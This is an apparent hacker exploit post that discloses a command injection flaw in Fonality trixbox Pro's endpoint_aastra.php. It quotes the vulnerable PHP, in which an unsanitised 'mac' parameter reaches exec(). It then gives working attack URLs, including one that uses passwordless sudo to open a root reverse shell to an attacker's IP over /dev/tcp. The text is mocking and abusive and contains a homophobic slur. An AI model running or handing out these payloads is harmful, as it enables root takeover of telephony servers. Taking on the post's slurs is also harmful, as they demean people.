Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
"Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah"
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exloitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and als give the pentesters some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of $hit , sorry i mean code

switch($_action) {
    case 'Edit':
        if ($_REQUEST['newmac']){ // create a new phone from device map
            $mac_address = $_REQUEST['newmac'];
        }
        if ($_REQUEST['mac']){
            $phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
            $mac_address=$phoneinfo['mac_address'];    } // if there is a
request ID we Edit otherwise add a new phone

        $freepbx_device_list = GetFreepbxDeviceList();
        $smarty->assign("mac_address", $mac_address);
        $smarty->assign("phone", $phoneinfo);
        $smarty->assign("freepbx_device_list", $freepbx_device_list);

        $smarty->assign("message", $message);
        $template = "endpoint_".$PhoneType."_edit.tpl";
        break;

    case 'Delete':
        exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");
        getSQL("DELETE FROM ".$PhoneType." WHERE
mac_address='".$_REQUEST['mac']."'",'endpoints');
        $smarty->assign("phones", ListPhones($PhoneType));
        $template = "endpoint_".$PhoneType."_list.tpl";
        break;

it's obvious we care about this line
>>>exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");<<<
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;echo
id>xx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of "root"
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the "sudo fu#k" with out being permited for
password , and the result is > root
Demo
<Back connection with root privs>
maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;sudo
bash -i >%26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0>%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in $hit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smooooothely as boat on the river ;)
And here come the challengs , let's see what the faggots can do with this ;)
need hint???
use your mind and fu#k off :/

Big greets fly to the all sec4ever family
OH , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris <the Awsome>
